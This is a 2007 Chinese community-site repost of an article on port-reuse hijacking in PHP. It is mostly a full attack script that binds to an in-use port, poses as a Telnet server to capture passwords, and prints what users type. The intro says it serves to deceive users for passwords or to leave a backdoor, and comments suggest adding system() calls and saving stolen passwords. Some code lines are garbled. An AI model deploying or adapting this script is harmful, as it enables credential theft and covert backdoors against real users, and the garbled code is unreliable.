linux社区爱心援助Linux认证系列教程业界动态站务新闻公司招聘建议留言网址大全LPI专题CISCO专题
设为首页
加入收藏
管理团队
JSP  
JAVA  
PERL  
 您的位置:首页 > 开发语言 > php >
栏目导栏
  php
  JSP
  ASP
  asp.net
  JAVA
  c/c++/c#
  perl
  JavaScript
  Basic
  Delphi
资料搜索
热门文章
·PHP生成静态页面的一些经验
·PHP无限分类与树型论坛的实现方
·php5学习笔记
·入门级PHP程序员面试题
·PHP 和 MySQL初学入门
·PHP入门速成
·vim的代码折叠
·文件下载统计php编程代码
·如何建立自己的新闻发布系统
·织梦CMS中文转换拼音函数研究
·Windows下Apache+Tomcat+MySQL
·PHP初学者头疼问题总结
·Cookie及其使用详细介绍
·生成sessionid和随机密码的例子
·使用无限生命期Session的方法
最新文章
·PHP入门速成
·用php实现广告轮播
·Zend Optimizer 问题浅析
·功能强大的CGI语言----PHP3
·用Session对Web页面进行保护
·PHP--进行模块化设计
·如何将PHP的结果输出到非PHP页
·如何开发一个虚拟域名系统
·PHP4调用自己编写的COM组件
·简单的页面缓冲技术(三)
·简单的页面缓冲技术(二)
·简单的页面缓冲技术(一)
·用Socket发送电子邮件(二)
·用Socket发送电子邮件(一)
·PHP/MySQL 购物车
Google
 
PHP下实现端口复用劫持
[ 作者:  加入时间:2007-11-22 14:40:24  来自:Linux联盟收集整理 ]
  假如监听127.0.0.1 ,访问共网IP不受影响,假如监听公网IP,127。0。0。1等IP不受影响。 a8NLinux联盟
  这个可以用于欺骗用户密码,因为原来的服务不可用了。或者留成针对内网用户的后门。 a8NLinux联盟
  最后欢迎加MSN:CQXY[AT]21CN。NET赐教。 a8NLinux联盟
  #!/usr/bin/php -q a8NLinux联盟
  #c0dz by Darkness[BST] a8NLinux联盟
  #Team:www.bugkidz.org a8NLinux联盟
  #E-mail:cqxy[at]21cn.net a8NLinux联盟
  if ($argc != 3 || in_array($argc[1] , array('--help','-h','?'))) a8NLinux联盟
  { a8NLinux联盟
  echo "Use:#./$argv[0] www.bugkidz.org 192.168.0.1 21\r\n"; a8NLinux联盟
  echo "c0dz By Darkness[BST]"; a8NLinux联盟
  exit; a8NLinux联盟
  } a8NLinux联盟
  error_reporting(E_ALL); a8NLinux联盟
   a8NLinux联盟
  set_time_limit(0); a8NLinux联盟
   a8NLinux联盟
  ob_implicit_flush(); a8NLinux联盟
   a8NLinux联盟
  $host = $argv[1]; a8NLinux联盟
  $port = $argv[2]; a8NLinux联盟
  if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) { a8NLinux联盟
  echo "socket_create() failed: reason: " . socket_strerror($sock) . "\n"; a8NLinux联盟
  } /*建立SOCKET*/ a8NLinux联盟
  socket_set_option($sock,SOL_SOCKET,SO_REUSEADDR,1); /*设置SOCKET连接的属性为SO_REUSEADDR,这样才可以端口复用*/ a8NLinux联盟
  if (($ret = socket_bind($sock, $host, $port)) < 0) { a8NLinux联盟
  echo "socket_bind() failed: reason: " . socket_strerror($ret) . "\n"; a8NLinux联盟
  }/*绑定端口*/ a8NLinux联盟
   a8NLinux联盟
  if (($ret = socket_listen($sock, 5)) < 0) { a8NLinux联盟
  echo "socket_listen() failed: reason: " . socket_strerror($ret) . "\n"; a8NLinux联盟
  } /*开始监听*/ a8NLinux联盟
   a8NLinux联盟
   a8NLinux联盟
  while(true) { a8NLinux联盟
   a8NLinux联盟
  if (($sniffer = socket_accept($sock)) < 0) { a8NLinux联盟
  echo "socket_accept() failed: reason: " . socket_strerror($sniffer) . "\n"; a8NLinux联盟
  break; a8NLinux联盟
  } a8NLinux联盟
  if ($port == 23) a8NLinux联盟
  { a8NLinux联盟
  $txt = "Welcome to the Telnet Server\r\n"; a8NLinux联盟
  $txt .="User:\r\n"; a8NLinux联盟
  socket_write($sniffer, $txt, strlen($txt)); a8NLinux联盟
  } /*这里是伪装信息,把自己伪装成原来的TELNET服务器,这样来骗取密码*/ a8NLinux联盟
   a8NLinux联盟
  while(true) { a8NLinux联盟
   a8NLinux联盟
  if(($buf _read($sniffer">=@socket_read($sniffer, 2048, PHP_BINARY_READ)) ==false) a8NLinux联盟
  { a8NLinux联盟
   a8NLinux联盟
  break; a8NLinux联盟
   a8NLinux联盟
  } a8NLinux联盟
   a8NLinux联盟
  if (!$buf = trim($buf)) { a8NLinux联盟
  continue; a8NLinux联盟
  } a8NLinux联盟
   a8NLinux联盟
   a8NLinux联盟
  if ($buf == '!quit') { a8NLinux联盟
  break; a8NLinux联盟
  } a8NLinux联盟
  if ($buf == '!shutdown') { a8NLinux联盟
  socket_close($sniffer); a8NLinux联盟
  break 2; /*其实这里可以调用system(),搞成一个CMD后门,反正你想怎么改都可以*/ a8NLinux联盟
  } a8NLinux联盟
   a8NLinux联盟
  $sniff_data = "$buf\r\n"; a8NLinux联盟
   a8NLinux联盟
  /* else socket_write($sniffer, $sniff_data, strlen($sniff_data));*/ a8NLinux联盟
  echo $sniff_data; a8NLinux联盟
  /*输出字符串,这里可以加进文件处理,保存密码什么的*/ a8NLinux联盟
  } a8NLinux联盟
  socket_close($sniffer); a8NLinux联盟
   a8NLinux联盟
   a8NLinux联盟
  } a8NLinux联盟
  socket_close($resock); a8NLinux联盟
  socket_close($sock); a8NLinux联盟
  ?> a8NLinux联盟
Linux联盟收集整理 ,转贴请标明原始链接,如有任何疑问欢迎来本站Linux论坛讨论
评论】【加入收藏夹】【 】【打印】【关闭
※ 相关链接
 ·使用php直接打开socket端口进行发信的小程序  (2007-11-22 14:39:52)
 ·PHP应用分页显示制作详细讲解  (2007-11-22 14:39:22)
 ·php作wap开发时遇到的问题  (2007-11-22 14:38:12)
 ·PHP IPwhois类  (2007-11-22 14:37:07)
 ·php+odbc+access数据库操作函数  (2007-11-22 14:36:40)
 ·用PHP与XML联手进行网站编程  (2007-11-22 14:34:59)
 ·PHP SOCKET 技术研究  (2007-11-22 14:34:33)
 ·php分别做为cgi和module来运行的配置  (2007-11-22 14:32:59)
 ·php中数据的批量导入(csv文件)  (2007-11-22 14:32:26)
 ·BS结构中使用PHP访问ORACLE LOB  (2007-11-22 14:31:59)